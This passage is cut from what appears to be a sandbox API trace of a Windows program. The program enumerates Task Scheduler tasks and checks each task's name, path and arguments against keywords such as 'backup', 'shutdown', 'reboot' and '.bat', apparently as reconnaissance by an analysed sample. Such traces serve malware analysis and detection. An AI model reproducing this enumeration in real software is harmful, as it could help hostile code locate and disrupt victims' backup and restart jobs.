IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.553] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.553] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0130.553] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.553] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.553] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.553] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0130.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28a8 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0130.553] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0130.553] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.553] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-SqlLiteRecoveryTask") returned 0x0 [0130.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6cab08 [0130.553] wcsstr (_Str="-sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0130.553] wcsstr (_Str="-sqlliterecoverytask", _SubStr="restart") returned 0x0 [0130.554] wcsstr (_Str="-sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0130.554] wcsstr (_Str="-sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0130.554] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0130.554] wcsstr (_Str="-sqlliterecoverytask", _SubStr="backup") returned 0x0 [0130.554] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0130.554] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.554] IUnknown:Release (This=0x2460888) returned 0x2 [0130.554] IUnknown:Release (This=0x2460888) returned 0x1 [0130.554] IActionCollection:get_Item (in: This=0x2460138, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608c8) returned 0x0 [0130.554] IAction:get_Type (in: This=0x24608c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.554] IUnknown:Release (This=0x24608c8) returned 0x1 [0130.554] IUnknown:Release (This=0x2460138) returned 0x1 [0130.554] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.554] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.554] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.554] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateRecordPath") returned 0x0 [0130.554] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.556] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr="reboot") returned 0x0 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr="restart") returned 0x0 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr="shutdown") returned 0x0 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr="logoff") returned 0x0 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr=".bat") returned 0x0 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr="backup") returned 0x0 [0130.556] wcsstr (_Str="updaterecordpath", _SubStr=".cmd") returned 0x0 [0130.556] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.556] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.562] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.562] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.562] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.562] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.562] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.562] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.562] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.562] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.562] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.562] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoUpdateRecordPath $(Arg0)") returned 0x0 [0130.563] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="reboot") returned 0x0 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="restart") returned 0x0 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="shutdown") returned 0x0 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="logoff") returned 0x0 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".bat") returned 0x0 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="backup") returned 0x0 [0130.563] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".cmd") returned 0x0 [0130.563] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.563] IUnknown:Release (This=0x2460888) returned 0x2 [0130.563] IUnknown:Release (This=0x2460888) returned 0x1 [0130.563] IUnknown:Release (This=0x2460138) returned 0x1 [0130.563] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.563] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.563] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.563] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.564] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0130.564] ITaskFolderCollection:get_Item (in: This=0x47fe88, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x47ff78) returned 0x0 [0130.564] ITaskFolder:GetTasks (in: This=0x47ff78, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x47ffa8) returned 0x0 [0130.564] IRegisteredTaskCollection:get_Count (in: This=0x47ffa8, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0130.564] IUnknown:Release (This=0x47ffa8) returned 0x0 [0130.565] ITaskFolder:GetFolders (in: This=0x47ff78, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x24600a8) returned 0x0 [0130.565] ITaskFolderCollection:get_Count (in: This=0x24600a8, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0130.565] IUnknown:Release (This=0x24600a8) returned 0x0 [0130.565] TaskScheduler:IUnknown:Release (This=0x47ff78) returned 0x0 [0130.565] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.565] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.565] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.565] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe90) returned 0x0 [0130.566] IRegisteredTaskCollection:get_Count (in: This=0x47fe90, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.566] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.566] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe90) returned 0x0 [0130.566] ITaskFolderCollection:get_Count (in: This=0x47fe90, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.566] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.566] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.566] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.566] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.567] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.567] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.567] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="HotStart") returned 0x0 [0130.567] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.568] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.568] wcsstr (_Str="hotstart", _SubStr="reboot") returned 0x0 [0130.568] wcsstr (_Str="hotstart", _SubStr="restart") returned 0x0 [0130.568] wcsstr (_Str="hotstart", _SubStr="shutdown") returned 0x0 [0130.568] wcsstr (_Str="hotstart", _SubStr="logoff") returned 0x0 [0130.568] wcsstr (_Str="hotstart", _SubStr=".bat") returned 0x0 [0130.568] wcsstr (_Str="hotstart", _SubStr="backup") returned 0x0 [0130.568] wcsstr (_Str="hotstart", _SubStr=".cmd") returned 0x0 [0130.568] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.568] IRegisteredTask:get_Definition (in: This=0x47ff68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600a0) returned 0x0 [0130.588] ITaskDefinition:get_Actions (in: This=0x24600a0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460118) returned 0x0 [0130.588] IActionCollection:get_Count (in: This=0x2460118, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.588] IActionCollection:get_Item (in: This=0x2460118, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460928) returned 0x0 [0130.588] IAction:get_Type (in: This=0x2460928, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.588] IUnknown:Release (This=0x2460928) returned 0x1 [0130.588] IUnknown:Release (This=0x2460118) returned 0x1 [0130.588] IUnknown:Release (This=0x24600a0) returned 0x0 [0130.588] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.588] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.588] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.588] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.589] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.589] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.589] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.589] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe78) returned 0x0 [0130.589] IRegisteredTaskCollection:get_Count (in: This=0x47fe78, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.589] IRegisteredTaskCollection:get_Item (in: This=0x47fe78, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff50) returned 0x0 [0130.589] IRegisteredTask:get_Name (in: This=0x47ff50, pName=0x5cf9f8 | out: pName=0x5cf9f8*="LPRemove") returned 0x0 [0130.589] IRegisteredTask:get_State (in: This=0x47ff50, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.592] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.592] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0 [0130.592] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0 [0130.592] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0 [0130.592] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0 [0130.592] wcsstr (_Str="lpremove", _SubStr=".bat") returned 0x0 [0130.592] wcsstr (_Str="lpremove", _SubStr="backup") returned 0x0 [0130.592] wcsstr (_Str="lpremove", _SubStr=".cmd") returned 0x0 [0130.592] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.592] IRegisteredTask:get_Definition (in: This=0x47ff50, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2460048) returned 0x0 [0130.600] ITaskDefinition:get_Actions (in: This=0x2460048, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24600c0) returned 0x0 [0130.600] IActionCollection:get_Count (in: This=0x24600c0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.600] IActionCollection:get_Item (in: This=0x24600c0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460958) returned 0x0 [0130.600] IAction:get_Type (in: This=0x2460958, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.600] IUnknown:QueryInterface (in: This=0x2460958, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460958) returned 0x0 [0130.600] IExecAction:get_Path (in: This=0x2460958, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\lpremove.exe") returned 0x0 [0130.600] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c28a8 [0130.600] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0 [0130.600] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0 [0130.600] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0 [0130.600] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0 [0130.600] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".bat") returned 0x0 [0130.601] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="backup") returned 0x0 [0130.601] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".cmd") returned 0x0 [0130.601] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.601] IExecAction:get_Arguments (in: This=0x2460958, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0130.601] IUnknown:Release (This=0x2460958) returned 0x2 [0130.601] IUnknown:Release (This=0x2460958) returned 0x1 [0130.601] IUnknown:Release (This=0x24600c0) returned 0x1 [0130.601] IUnknown:Release (This=0x2460048) returned 0x0 [0130.601] IUnknown:Release (This=0x47ff50) returned 0x0 [0130.601] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.601] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe78) returned 0x0 [0130.601] ITaskFolderCollection:get_Count (in: This=0x47fe78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.602] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.602] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.602] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.602] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.602] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.602] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.602] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemSoundsService") returned 0x0 [0130.602] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=4) returned 0x0 [0130.604] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr=".bat") returned 0x0 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr="backup") returned 0x0 [0130.604] wcsstr (_Str="systemsoundsservice", _SubStr=".cmd") returned 0x0 [0130.605] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.605] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.618] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.618] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.618] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460950) returned 0x0 [0130.618] IAction:get_Type (in: This=0x2460950, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.618] IUnknown:Release (This=0x2460950) returned 0x1 [0130.618] IUnknown:Release (This=0x2460138) returned 0x1 [0130.618] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.618] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.618] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.618] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.619] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.619] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.619] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.619] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.619] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.619] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.619] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.619] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GatherNetworkInfo") returned 0x0 [0130.619] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.622] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr=".bat") returned 0x0 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr="backup") returned 0x0 [0130.622] wcsstr (_Str="gathernetworkinfo", _SubStr=".cmd") returned 0x0 [0130.622] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.622] IRegisteredTask:get_Definition (in: This=0x47ff68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.634] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.634] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.634] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608a0) returned 0x0 [0130.634] IAction:get_Type (in: This=0x24608a0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.634] IUnknown:QueryInterface (in: This=0x24608a0, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24608a0) returned 0x0 [0130.634] IExecAction:get_Path (in: This=0x24608a0, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0 [0130.634] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x50) returned 0x6d71f0 [0130.634] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0 [0130.634] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0 [0130.634] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0 [0130.634] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0 [0130.634] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".bat") returned 0x0 [0130.634] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="backup") returned 0x0 [0130.635] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".cmd") returned 0x0 [0130.635] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d71f0) returned 1 [0130.635] IExecAction:get_Arguments (in: This=0x24608a0, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0130.635] IUnknown:Release (This=0x24608a0) returned 0x2 [0130.635] IUnknown:Release (This=0x24608a0) returned 0x1 [0130.635] IUnknown:Release (This=0x2460128) returned 0x1 [0130.635] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.635] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.635] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.635] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.635] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.635] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.635] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.635] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.635] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fea0) returned 0x0 [0130.636] IRegisteredTaskCollection:get_Count (in: This=0x47fea0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.636] IUnknown:Release (This=0x47fea0) returned 0x0 [0130.636] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fea0) returned 0x0 [0130.636] ITaskFolderCollection:get_Count (in: 